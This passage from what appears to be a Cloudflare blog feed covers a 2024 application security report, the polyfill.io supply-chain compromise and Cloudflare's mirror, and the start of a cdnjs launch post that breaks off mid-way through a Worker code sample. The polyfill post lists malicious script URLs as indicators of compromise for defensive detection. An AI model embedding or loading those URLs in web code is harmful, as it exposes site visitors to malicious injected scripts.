    <p>Throughout this report, we will refer to the following terms:</p><ul><li><p><b>Mitigated traffic:</b> any eyeball HTTP* request that had a “terminating” action applied to it by the Cloudflare platform. These include the following actions: <code>BLOCK</code>, <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#legacy-captcha-challenge"><code>CHALLENGE</code></a>, <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#js-challenge"><code>JS_CHALLENGE</code></a> and <a href="https://developers.cloudflare.com/fundamentals/get-started/concepts/cloudflare-challenges/#managed-challenge-recommended"><code>MANAGED_CHALLENGE</code></a>. This does not include requests that had the following actions applied: <code>LOG</code>, <code>SKIP</code>, <code>ALLOW</code>. They also accounted for a relatively small percentage of requests. Additionally, we improved our calculation regarding the <code>CHALLENGE</code> type actions to ensure that only unsolved challenges are counted as mitigated. A detailed <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/actions/">description of actions</a> can be found in our developer documentation. This has not changed from last year’s report.</p></li><li><p><b>Bot traffic/automated traffic</b>: any HTTP* request identified by Cloudflare’s <a href="https://www.cloudflare.com/products/bot-management/">Bot Management</a> system as being generated by a bot. This includes requests with a <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">bot score</a> between <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">1 and 29</a> inclusive. This has not changed from last year’s report.</p></li><li><p><b>API traffic</b>: any HTTP* request with a response content type of XML or JSON. Where the response content type is not available, such as for mitigated requests, the equivalent Accept content type (specified by the user agent) is used instead. In this latter case, API traffic won’t be fully accounted for, but it still provides a good representation for the purposes of gaining insights. This has not changed from last year’s report.</p></li></ul><p>Unless otherwise stated, the time frame evaluated in this post is the period from April 1, 2023, through March 31, 2024, inclusive.</p><p>Finally, please note that the data is calculated based only on traffic observed across the Cloudflare network and does not necessarily represent overall HTTP traffic patterns across the Internet.</p><p><sup>*When referring to HTTP traffic we mean both HTTP and HTTPS.</sup></p>
    <div>
      <h2>Global traffic insights</h2>
      <a href="#global-traffic-insights">
        
      </a>
    </div>
    
    <div>
      <h3>Average mitigated daily traffic increases to nearly 7%</h3>
      <a href="#average-mitigated-daily-traffic-increases-to-nearly-7">
        
      </a>
    </div>
    <p>Compared to the prior 12-month period, Cloudflare mitigated a higher percentage of application layer traffic and layer 7 (L7) DDoS attacks between Q2 2023 and Q1 2024, growing from 6% to 6.8%.</p><p><b>Figure 1:</b> Percent of mitigated HTTP traffic increasing over the last 12 months</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5HrbJsLZMv12tBdVLAJEwk/56519fe3c06a1996324ba7a0e710fe5e/unnamed-6.png" />
            
            </figure><p>During large global attack events, we can observe spikes of mitigated traffic approaching 12% of all HTTP traffic. These are much larger spikes than we have ever observed across our entire network.</p>
    <div>
      <h3>WAF and Bot mitigations accounted for 53.9% of all mitigated traffic</h3>
      <a href="#waf-and-bot-mitigations-accounted-for-53-9-of-all-mitigated-traffic">
        
      </a>
    </div>
    <p>As the Cloudflare platform continues to expose additional signals to identify potentially malicious traffic, customers have been actively using these signals in WAF Custom Rules to improve their security posture. Example signals include our <a href="https://developers.cloudflare.com/waf/about/waf-attack-score/">WAF Attack Score</a>, which identifies malicious payloads, and our <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">Bot Score</a>, which identifies automated traffic.</p><p>After WAF and Bot mitigations, HTTP DDoS rules are the second-largest contributor to mitigated traffic. IP reputation, that uses our <a href="https://developers.cloudflare.com/waf/tools/security-level/">IP threat score</a> to block traffic, and access rules, which are simply IP and country blocks, follow in third and fourth place.</p><p><b>Figure 2: Mitigated traffic by Cloudflare product group</b></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/l9emHl05MUfrpqsLehyMr/51e8d8d327a5d78d90126de82bebcc38/unnamed--5--3.png" />
            
            </figure>
    <div>
      <h3>CVEs exploited as fast as 22 minutes after proof-of-concept published</h3>
      <a href="#cves-exploited-as-fast-as-22-minutes-after-proof-of-concept-published">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/learning/security/threats/zero-day-exploit/">Zero-day exploits</a> (also called zero-day threats) are increasing, as is the speed of weaponization of disclosed CVEs. In 2023, 97 zero-days were <a href="https://cloud.google.com/blog/topics/threat-intelligence/2023-zero-day-trends">exploited in the wild</a>, and that’s along with a 15% increase of disclosed <a href="https://www.cve.org/About/Overview">CVEs</a> between 2022 and 2023.</p><p>Looking at CVE exploitation attempts against customers, Cloudflare mostly observed scanning activity, followed by command injections, and some exploitation attempts of vulnerabilities that had PoCs available online, including Apache <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50164">CVE-2023-50164</a> and <a href="https://nvd.nist.gov/vuln/detail/cve-2022-33891">CVE-2022-33891</a>, Coldfusion <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-29298">CVE-2023-29298</a> <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38203">CVE-2023-38203</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26360">CVE-2023-26360</a>, and MobileIron <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-35082">CVE-2023-35082</a>.</p><p>This trend in CVE exploitation attempt activity indicates that attackers are going for the easiest targets first, and likely having success in some instances given the continued activity around old vulnerabilities.</p><p>As just one example, Cloudflare observed exploitation attempts of <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-27198">CVE-2024-27198</a> (JetBrains TeamCity authentication bypass) at 19:45 UTC on March 4, just 22 minutes after proof-of-concept code was published.</p><p><b>Figure 3:</b> JetBrains TeamCity authentication bypass timeline</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2193b87OL8QLpaE3hxF7RP/06b61f3bdcac2d4ce8364a4b408e35f4/image8-2.png" />
            
            </figure><p>The speed of exploitation of disclosed CVEs is often quicker than the speed at which humans can create WAF rules or create and deploy patches to mitigate attacks. This also applies to our own internal security analyst team that maintains the WAF Managed Ruleset, which has led us to <a href="/detecting-zero-days-before-zero-day">combine the human written signatures with an ML-based approach</a> to achieve the best balance between low false positives and speed of response.</p><p>CVE exploitation campaigns from specific threat actors are clearly visible when we focus on a subset of CVE categories. For example, if we filter on CVEs that result in remote code execution (RCE), we see clear attempts to exploit Apache and Adobe installations towards the end of 2023 and start of 2024 along with a notable campaign targeting Citrix in May of this year.</p><p><b>Figure 4:</b> Worldwide daily number of requests for Code Execution CVEs</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5A2f3Shrcp7rw6zmE9VoNa/90dd0ab1a3e9a80dddfc3c893bebb283/unnamed--1--4.png" />
            
            </figure><p>Similar views become clearly visible when focusing on other CVEs or specific attack categories.</p>
    <div>
      <h3>DDoS attacks remain the most common attack against web applications</h3>
      <a href="#ddos-attacks-remain-the-most-common-attack-against-web-applications">
        
      </a>
    </div>
    <p>DDoS attacks remain the most common attack type against web applications, with DDoS comprising 37.1% of all mitigated application traffic over the time period considered.</p><p><b>Figure 5:</b> Volume of HTTP DDoS attacks over time</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3578XXGADnTHyYT6Kdf6ez/19dc83ad5c2b4989d0542f39fb755fa5/unnamed--6--3.png" />
            
            </figure><p>We saw a large increase in volumetric attacks in February and March 2024. This was partly the result of improved detections deployed by our teams, in addition to increased attack activity. In the first quarter of 2024 alone, Cloudflare’s automated defenses mitigated 4.5 million unique DDoS attacks, an amount equivalent to 32% of all the DDoS attacks Cloudflare mitigated in 2023. Specifically, application layer HTTP DDoS attacks increased by 93% YoY and 51% quarter-over-quarter (QoQ).</p><p>Cloudflare correlates DDoS attack traffic and defines unique attacks by looking at event start and end times along with target destination.</p><p>Motives for launching DDoS attacks range from targeting specific organizations for financial gains (ransom), to testing the capacity of botnets, to targeting institutions and countries for political reasons. As an example, Cloudflare observed a 466% increase in DDoS attacks on Sweden after its acceptance to the NATO alliance on March 7, 2024. This mirrored the DDoS pattern observed during Finland’s NATO acceptance in 2023. The size of DDoS attacks themselves are also increasing.</p><p>In August 2023, Cloudflare mitigated a hyper-volumetric <a href="/zero-day-rapid-reset-http2-record-breaking-ddos-attack">HTTP/2 Rapid Reset</a> DDoS attack that peaked at 201 million requests per second (rps) – three times larger than any previously observed attack. In the attack, threat actors exploited a zero-day vulnerability in the HTTP/2 protocol that had the potential to incapacitate nearly any server or application supporting HTTP/2. This underscores how menacing DDoS vulnerabilities are for unprotected organizations.</p><p>Gaming and gambling became the most targeted sector by DDoS attacks, followed by Internet technology companies and cryptomining.</p><p><b>Figure 6:</b> Largest HTTP DDoS attacks as seen by Cloudflare, by year</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1FYxByBvHz2MQQ8WhKErWk/a7f757447c04820ea5a642838b3e5e10/image1.jpg" />
            
            </figure>
    <div>
      <h2>Bot traffic insights</h2>
      <a href="#bot-traffic-insights">
        
      </a>
    </div>
    <p>Cloudflare has continued to invest heavily in our bot detection systems. In early July, we declared <a href="/declaring-your-aindependence-block-ai-bots-scrapers-and-crawlers-with-a-single-click">AIndependence</a> to help preserve a safe Internet for content creators, offering a brand new “easy button” to <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/">block all AI bots</a>. It’s available for all customers, including those on our free tier.</p><p>Major progress has also been made in other complementary systems such as our Turnstile offering, a user-friendly, privacy-preserving alternative to CAPTCHA.</p><p>All these systems and technologies help us better identify and differentiate human traffic from automated bot traffic.</p>
    <div>
      <h3>On average, bots comprise one-third of all application traffic</h3>
      <a href="#on-average-bots-comprise-one-third-of-all-application-traffic">
        
      </a>
    </div>
    <p>31.2% of all application traffic processed by Cloudflare is bot traffic. This percentage has stayed relatively consistent (hovering at about 30%) over the past three years.</p><p>The term bot traffic may carry a negative connotation, but in reality bot traffic is not necessarily good or bad; it all depends on the purpose of the bots. Some are “good” and perform a needed service, such as customer service chatbots and authorized search engine crawlers. But some bots misuse an online product or service and need to be blocked.</p><p>Different application owners may have different criteria for what they deem a “bad” bot. For example, some organizations may want to <a href="https://www.cloudflare.com/learning/ai/how-to-prevent-web-scraping/">block a content scraping bot</a> that is being deployed by a competitor to undercut on prices, whereas an organization that does not sell products or services may not be as concerned with content scraping. Known, good bots are classified by Cloudflare as “verified bots.”</p>
    <div>
      <h3>93% of bots we identified were unverified bots, and potentially malicious</h3>
      <a href="#93-of-bots-we-identified-were-unverified-bots-and-potentially-malicious">
        
      </a>
    </div>
    <p>Unverified bots are often created for disruptive and harmful purposes, such as hoarding inventory, launching DDoS attacks, or attempting to take over an account via brute force or credential stuffing. Verified bots are those that are known to be safe, such as search engine crawlers, and Cloudflare aims to verify all major legitimate bot operators. <a href="https://radar.cloudflare.com/traffic/verified-bots">A list of all verified bots</a> can be found in our documentation.</p><p>Attackers leveraging bots focus most on industries that could bring them large financial gains. For example, consumer goods websites are often the target of inventory hoarding, price scraping run by competition or automated applications aimed at exploiting some sort of arbitrage (for example, sneaker bots). This type of abuse can have a significant financial impact on the target organization.</p><p><b>Figure 8:</b> Industries with the highest median daily share of bot traffic</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/XIeyHN59gsaqxq0OQvCKV/4e23e2b081263ae09c6ca3de6aac2cdd/unnamed--7--3.png" />
            
            </figure>
    <div>
      <h2>API traffic insights</h2>
      <a href="#api-traffic-insights">
        
      </a>
    </div>
    <p>Consumers and end users expect dynamic web and mobile experiences powered by APIs. For businesses, APIs fuel competitive advantages, greater business intelligence, faster cloud deployments, integration of new AI capabilities, and more.</p><p>However, APIs introduce new risks by providing outside parties additional attack surfaces with which to access applications and databases which also need to be secured. As a consequence, numerous attacks we observe are now targeting API endpoints first rather than the traditional web interfaces.</p><p>The additional security concerns are of course not slowing down adoption of API first applications.</p>
    <div>
      <h3>60% of dynamic (non cacheable) traffic is API-related</h3>
      <a href="#60-of-dynamic-non-cacheable-traffic-is-api-related">
        
      </a>
    </div>
    <p>This is a two percentage point increase compared to last year’s report. Of this 60%, about 4% on average is mitigated by our security systems.</p><p><b>Figure 9</b>: Share of mitigated API traffic</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/YmPWYVWpG250GqjO2noHu/63582e53d5f43cda2068385ea9713976/unnamed--3--3.png" />
            
            </figure><p>A substantial spike is visible around January 11-17 that accounts for almost a 10% increase in traffic share alone for that period. This was due to a specific customer zone receiving attack traffic that was mitigated by a WAF Custom Rule.</p><p>Digging into mitigation sources for API traffic, we see the WAF being the largest contributor, as standard malicious payloads are commonly applicable to both API endpoints and standard web applications.</p><p><b>Figure 10:</b> API mitigated traffic broken down by product group</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/76D0iSJOzvx4ArJYIXIfLI/a4bf06a320cc8e9cc03b7da2ab6f35b3/unnamed--4--3.png" />
            
            </figure>
    <div>
      <h2>A quarter of APIs are “shadow APIs”</h2>
      <a href="#a-quarter-of-apis-are-shadow-apis">
        
      </a>
    </div>
    <p>You cannot protect what you cannot see. And, many organizations lack accurate API inventories, even when they believe they can correctly identify API traffic.</p><p>Using our proprietary machine learning model that scans not just known API calls, but all HTTP requests (identifying API traffic that may be going unaccounted for), we found that organizations had 33% more public-facing API endpoints than they knew about. This number was the median, and it was calculated by comparing the number of API endpoints detected through machine learning based discovery vs. customer-provided session identifiers.</p><p>This suggests that nearly a quarter of APIs are “shadow APIs” and may not be properly inventoried and secured.</p>
    <div>
      <h2>Client-side risks</h2>
      <a href="#client-side-risks">
        
      </a>
    </div>
    <p>Most organizations’ web apps rely on separate programs or pieces of code from third-party providers (usually coded in JavaScript). The use of third-party scripts accelerates modern web app development and allows organizations to ship features to market faster, without having to build all new app features in-house.</p><p>Using Cloudflare's client side security product, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, we can get a view on the popularity of third party libraries used on the Internet and the risk they pose to organizations. This has become very relevant recently due to the <a href="http://polyfill.io">Polyfill.io incident</a> that affected more than one hundred thousand sites.</p>
    <div>
      <h3>Enterprise applications use 47 third-party scripts on average</h3>
      <a href="#enterprise-applications-use-47-third-party-scripts-on-average">
        
      </a>
    </div>
    <p>Cloudflare’s typical enterprise customer uses an average of 47 third-party scripts, and a median of 20 third-party scripts. The average is much higher than the median due to SaaS providers, who often have thousands of subdomains which may all use third-party scripts. Here are some of the top third-party script providers Cloudflare customers commonly use:</p><ul><li><p>Google (Tag Manager, Analytics, Ads, Translate, reCAPTCHA, YouTube)</p></li><li><p>Meta (Facebook Pixel, Instagram)</p></li><li><p>Cloudflare (Web Analytics)</p></li><li><p>jsDelivr</p></li><li><p>New Relic</p></li><li><p>Appcues</p></li><li><p>Microsoft (Clarity, Bing, LinkedIn)</p></li><li><p>jQuery</p></li><li><p>WordPress (Web Analytics, hosted plugins)</p></li><li><p>Pinterest</p></li><li><p>UNPKG</p></li><li><p>TikTok</p></li><li><p>Hotjar</p></li></ul><p>While useful, third-party software dependencies are often loaded directly by the end-user’s browser (i.e. they are loaded client-side) placing organizations and their customers at risk given that organizations have no direct control over third-party security measures. For example, in the retail sector, 18% of all data breaches <a href="https://www.verizon.com/business/resources/reports/dbir/">originate from Magecart style attacks</a>, according to Verizon’s 2024 Data Breach Investigations Report.</p>
    <div>
      <h3>Enterprise applications connect to nearly 50 third-parties on average</h3>
      <a href="#enterprise-applications-connect-to-nearly-50-third-parties-on-average">
        
      </a>
    </div>
    <p>Loading a third-party script into your website poses risks, even more so when that script “calls home” to submit data to perform the intended function. A typical example here is Google Analytics: whenever a user performs an action, the Google Analytics script will submit data back to the Google servers. We identify these as connections.</p><p>On average, each enterprise website connects to 50 separate third-party destinations, with a median of 15. Each of these connections also poses a potential client-side security risk as attackers will often use them to exfiltrate additional data going unnoticed.</p><p>Here are some of the top third-party connections Cloudflare customers commonly use:</p><ul><li><p>Google (Analytics, Ads)</p></li><li><p>Microsoft (Clarity, Bing, LinkedIn)</p></li><li><p>Meta (Facebook Pixel)</p></li><li><p>Hotjar</p></li><li><p>Kaspersky</p></li><li><p>Sentry</p></li><li><p>Criteo</p></li><li><p>tawk.to</p></li><li><p>OneTrust</p></li><li><p>New Relic</p></li><li><p>PayPal</p></li></ul>
    <div>
      <h2>Looking forward</h2>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>This application security report is also <a href="https://www.cloudflare.com/2024-application-security-trends/">available in PDF format</a> with additional recommendations on how to address many of the concerns raised, along with additional insights.</p><p>We also publish many of our reports with dynamic charts on <a href="https://radar.cloudflare.com/reports">Cloudflare Radar</a>, making it an excellent resource to keep up to date with the state of the Internet.</p> ]]></content:encoded>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[API]]></category>
            <guid isPermaLink="false">78VdVl96em2bFvHmZ4jeHj</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Sabina Zejnilovic</dc:creator>
            <dc:creator>Catherine Newcomb</dc:creator>
        </item>
        <item>
            <title><![CDATA[Automatically replacing polyfill.io links with Cloudflare’s mirror for a safer Internet]]></title>
            <link>https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet/</link>
            <pubDate>Wed, 26 Jun 2024 20:23:41 GMT</pubDate>
            <description><![CDATA[ polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites ]]></description>
            <content:encoded><![CDATA[ <p></p><p>polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites.</p><p><a href="https://sansec.io/research/polyfill-supply-chain-attack">Multiple reports</a>, corroborated with data seen by our own client-side security system, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, have shown that the polyfill service was being used, and could be used again, to inject malicious JavaScript code into users’ browsers. This is a real threat to the Internet at large given the popularity of this library.</p><p>We have, over the last 24 hours, released an automatic JavaScript URL rewriting service that will rewrite any link to polyfill.io found in a website proxied by Cloudflare <a href="https://cdnjs.cloudflare.com/polyfill/">to a link to our mirror under cdnjs</a>. This will avoid breaking site functionality while mitigating the risk of a supply chain attack.</p><p>Any website on the free plan has this feature automatically activated now. Websites on any paid plan can turn on this feature with a single click.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5R0ht5q4fAwm8gm3a2Xe5U/6b3ec28498e76ff75e37b58f3673e49a/image1-22.png" />
            
            </figure><p>You can find this new feature under <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">Security ⇒ Settings</a> on any zone using Cloudflare.</p><p>Contrary to what is stated on the polyfill.io website, Cloudflare has never recommended the polyfill.io service or authorized their use of Cloudflare’s name on their website. We have asked them to remove the false statement, and they have, so far, ignored our requests. This is yet another warning sign that they cannot be trusted.</p><p>If you are not using Cloudflare today, we still highly recommend that you remove any use of polyfill.io and/or find an alternative solution. And, while the automatic replacement function will handle most cases, the best practice is to remove polyfill.io from your projects and replace it with a secure alternative mirror like Cloudflare’s even if you are a customer.</p><p>You can do this by searching your code repositories for instances of polyfill.io and replacing it with <a href="https://cdnjs.cloudflare.com/polyfill/">cdnjs.cloudflare.com/polyfill/</a> (Cloudflare’s mirror). This is a non-breaking change as the two URLs will serve the same polyfill content. All website owners, regardless of the website using Cloudflare, should do this now.</p>
    <div>
      <h2>How we came to this decision</h2>
      <a href="#how-we-came-to-this-decision">
        
      </a>
    </div>
    <p>Back in February, the domain polyfill.io, which hosts a popular JavaScript library, was sold to a new owner: Funnull, a relatively unknown company. <a href="/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk">At the time, we were concerned</a> that this created a supply chain risk. This led us to spin up our own mirror of the polyfill.io code hosted under cdnjs, a JavaScript library repository sponsored by Cloudflare.</p><p>The new owner was unknown in the industry and did not have a track record of trust to administer a project such as polyfill.io. The concern, <a href="https://x.com/triblondon/status/1761852117579427975">highlighted even by the original author</a>, was that if they were to abuse polyfill.io by injecting additional code to the library, it could cause far-reaching security problems on the Internet affecting several hundreds of thousands websites. Or it could be used to perform a targeted supply-chain attack against specific websites.</p><p>Unfortunately, that worry came true on June 25, 2024, as the polyfill.io service was being used to inject nefarious code that, under certain circumstances, redirected users to other websites.</p><p>We have taken the exceptional step of using our ability to modify HTML on the fly to replace references to the polyfill.io CDN in our customers’ websites with links to our own, safe, mirror created back in February.</p><p>In the meantime, additional threat feed providers have also taken the decision to <a href="https://github.com/uBlockOrigin/uAssets/commit/91dfc54aed0f0aa514c1a481c3e63ea16da94c03">flag the domain as malicious</a>. We have not outright blocked the domain through any of the mechanisms we have because we are concerned it could cause widespread web outages given how broadly polyfill.io is used with some estimates indicating <a href="https://w3techs.com/technologies/details/js-polyfillio">usage on nearly 4% of all websites</a>.</p>
    <div>
      <h3>Corroborating data with Page Shield</h3>
      <a href="#corroborating-data-with-page-shield">
        
      </a>
    </div>
    <p>The original report indicates that malicious code was injected that, under certain circumstances, would redirect users to betting sites. It was doing this by loading additional JavaScript that would perform the redirect, under a set of additional domains which can be considered Indicators of Compromise (IoCs):</p>
            <pre><code>https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/gtags.js
https://www.googie-anaiytics.com/keywords/vn-keyword.json
https://www.googie-anaiytics.com/webs-1.0.1.js
https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/webs-1.0.2.js
https://www.googie-anaiytics.com/ga.js
https://www.googie-anaiytics.com/web-1.0.1.js
https://www.googie-anaiytics.com/web.js
https://www.googie-anaiytics.com/collect.js
https://kuurza.com/redirect?from=bitget</code></pre>
            <p>(note the intentional misspelling of Google Analytics)</p><p>Page Shield, our client side security solution, is available on all paid plans. When turned on, it collects information about JavaScript files loaded by end user browsers accessing your website.</p><p>By looking at the database of detected JavaScript files, we immediately found matches with the IoCs provided above starting as far back as 2024-06-08 15:23:51 (first seen timestamp on Page Shield detected JavaScript file). This was a clear indication that malicious activity was active and associated with polyfill.io.</p>
    <div>
      <h3>Replacing insecure JavaScript links to polyfill.io</h3>
      <a href="#replacing-insecure-javascript-links-to-polyfill-io">
        
      </a>
    </div>
    <p>To achieve performant HTML rewriting, we need to make blazing-fast HTML alterations as responses stream through Cloudflare’s network. This has been made possible by leveraging <a href="/rust-nginx-module">ROFL (Response Overseer for FL)</a>. ROFL powers various Cloudflare products that need to alter HTML as it streams, such as <a href="https://developers.cloudflare.com/speed/optimization/content/fonts/">Cloudflare Fonts,</a> <a href="https://developers.cloudflare.com/waf/tools/scrape-shield/email-address-obfuscation/">Email Obfuscation</a> and <a href="https://developers.cloudflare.com/speed/optimization/content/rocket-loader/">Rocket Loader</a></p><p>ROFL is developed entirely in Rust. The memory-safety features of Rust are indispensable for ensuring protection against memory leaks while processing a staggering volume of requests, measuring in the millions per second. Rust's compiled nature allows us to finely optimize our code for specific hardware configurations, delivering performance gains compared to interpreted languages.</p><p>The performance of ROFL allows us to rewrite HTML on-the-fly and modify the polyfill.io links quickly, safely, and efficiently. This speed helps us reduce any additional latency added by processing the HTML file.</p><p>If the feature is turned on, for any HTTP response with an HTML Content-Type, we parse all JavaScript script tag source attributes. If any are found linking to polyfill.io, we rewrite the src attribute to link to our mirror instead. We map to the correct version of the polyfill service while the query string is left untouched.</p><p>The logic will not activate if a Content Security Policy (CSP) header is found in the response. This ensures we don’t replace the link while breaking the CSP policy and therefore potentially breaking the website.</p>
    <div>
      <h3>Default on for free customers, optional for everyone else</h3>
      <a href="#default-on-for-free-customers-optional-for-everyone-else">
        
      </a>
    </div>
    <p>Cloudflare proxies millions of websites, and a large portion of these sites are on our free plan. Free plan customers tend to have simpler applications while not having the resources to update and react quickly to security concerns. We therefore decided to turn on the feature by default for sites on our free plan, as the likelihood of causing issues is reduced while also helping keep safe a very large portion of applications using polyfill.io.</p><p>Paid plan customers, on the other hand, have more complex applications and react quicker to security notices. We are confident that most paid customers using polyfill.io and Cloudflare will appreciate the ability to virtually patch the issue with a single click, while controlling when to do so.</p><p>All customers can turn off the feature at any time.</p><p>This isn’t the first time we’ve decided a security problem was so widespread and serious that we’d enable protection for all customers regardless of whether they were a paying customer or not. Back in 2014, we enabled <a href="/shellshock-protection-enabled-for-all-customers">Shellshock protection</a> for everyone. In 2021, when the log4j vulnerability was disclosed <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">we rolled out protection</a> for all customers.</p>
    <div>
      <h2>Do not use polyfill.io</h2>
      <a href="#do-not-use-polyfill-io">
        
      </a>
    </div>
    <p>If you are using Cloudflare, you can remove polyfill.io with a single click on the Cloudflare dashboard by heading over to <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">your zone ⇒ Security ⇒ Settings</a>. If you are a free customer, the rewrite is automatically active. This feature, we hope, will help you quickly patch the issue.</p><p>Nonetheless, you should ultimately search your code repositories for instances of polyfill.io and replace them with an alternative provider, such as Cloudflare’s secure mirror under cdnjs (<a href="https://cdnjs.cloudflare.com/polyfill/">https://cdnjs.cloudflare.com/polyfill/</a>). Website owners who are not using Cloudflare should also perform these steps.</p><p>The underlying bundle links you should use are:</p><p>For minified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js</a>
For unminified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js</a></p><p>Doing this ensures your website is no longer relying on polyfill.io.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Better Internet]]></category>
            <guid isPermaLink="false">3NHy1gOkql57RbBcdjWs5g</guid>
            <dc:creator>Matthew Prince</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[polyfill.io now available on cdnjs: reduce your supply chain risk]]></title>
            <link>https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk/</link>
            <pubDate>Thu, 29 Feb 2024 17:51:32 GMT</pubDate>
            <description><![CDATA[ Polyfill.io is now available on cdnjs to reduce the risk of supply chain attacks. Replace your polyfill.io links today for a seamless experience ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4nxvskYVuRnRJHoLUMRY4l/e26d2d6b57eb9a286238ab84863dc947/image1-17.png" />
            
            </figure><p>Polyfill.io is a popular JavaScript library that nullifies differences across old browser versions. These differences often take up substantial development time.</p><p>It does this by adding support for modern functions (via <a href="https://developer.mozilla.org/en-US/docs/Glossary/Polyfill">polyfilling</a>), ultimately letting developers work against a uniform environment simplifying development. The tool is historically loaded by linking to the endpoint provided under the domain polyfill.io.</p><p>In the interest of providing developers with additional options to use polyfill, today we are launching an <a href="https://cdnjs.cloudflare.com/polyfill">alternative endpoint under cdnjs</a>. You can replace links to polyfill.io “as is” with our new endpoint. You will then rely on the same service and reputation that <a href="https://cdnjs.com/">cdnjs</a> has built over the years for your polyfill needs.</p><p>Our interest in creating an alternative endpoint was also sparked by some <a href="https://github.com/polyfillpolyfill/polyfill-service/issues/2834">concerns raised by the community</a>, and <a href="https://twitter.com/triblondon/status/1761852117579427975">main contributors</a>, following the transition of the domain polyfill.io to a new provider (Funnull).</p><p>The concerns are that any website embedding a link to the original polyfill.io domain, will now be relying on Funnull to maintain and secure the underlying project to avoid the risk of a supply chain attack. Such an attack would occur if the underlying third party is compromised or alters the code being served to end users in nefarious ways, causing, by consequence, all websites using the tool to be compromised.</p><p>Supply chain attacks, in the context of web applications, are a growing concern for security teams, and also led us to build a client side security product to detect and mitigate these attack vectors: <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>.</p><p>Irrespective of the scenario described above, this is a timely reminder of the complexities and risks tied to modern web applications. As maintainers and contributors of <a href="https://cdnjs.com/">cdnjs</a>, currently used by <a href="https://w3techs.com/technologies/overview/content_delivery">more than 12% of all sites</a>, this reinforces our commitment to help keep the Internet safe.</p>
    <div>
      <h3>polyfill.io on cdnjs</h3>
      <a href="#polyfill-io-on-cdnjs">
        
      </a>
    </div>
    <p>The full polyfill.io implementation has been deployed at the following URL:</p><p><a href="https://cdnjs.cloudflare.com/polyfill/"><code>https://cdnjs.cloudflare.com/polyfill/</code></a></p><p>The underlying bundle link is:</p><p>For minified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js</a>For unminified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js</a></p><p>Usage and deployment is intended to be identical to the original polyfill.io site. As a developer, you should be able to simply “replace” the old link with the new cdnjs-hosted link without observing any side effects, besides a possible improvement in performance and reliability.</p><p>If you don’t have access to the underlying website code, but your website is behind Cloudflare, replacing the links is even easier, as you can deploy a Cloudflare Worker to update the links for you:</p>
            <pre><code>export interface Env {}

export default {
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise&lt;Response&gt; {
        ctx.passThroughOnException();

        const response = await fetch(request);

        if ((response.headers.get('content-type') || '').includes('text/html')) {
            const rewriter = new HTMLRewriter()
                .on('link', {
                    element(element) {
                        const rel = element.getAttribute('rel');
                        if (rel === 'preconnect') {
                            const href = new URL(element.getAttribute('href') || '', request.url);

                            if (href.hostname === 'polyfill.io') {
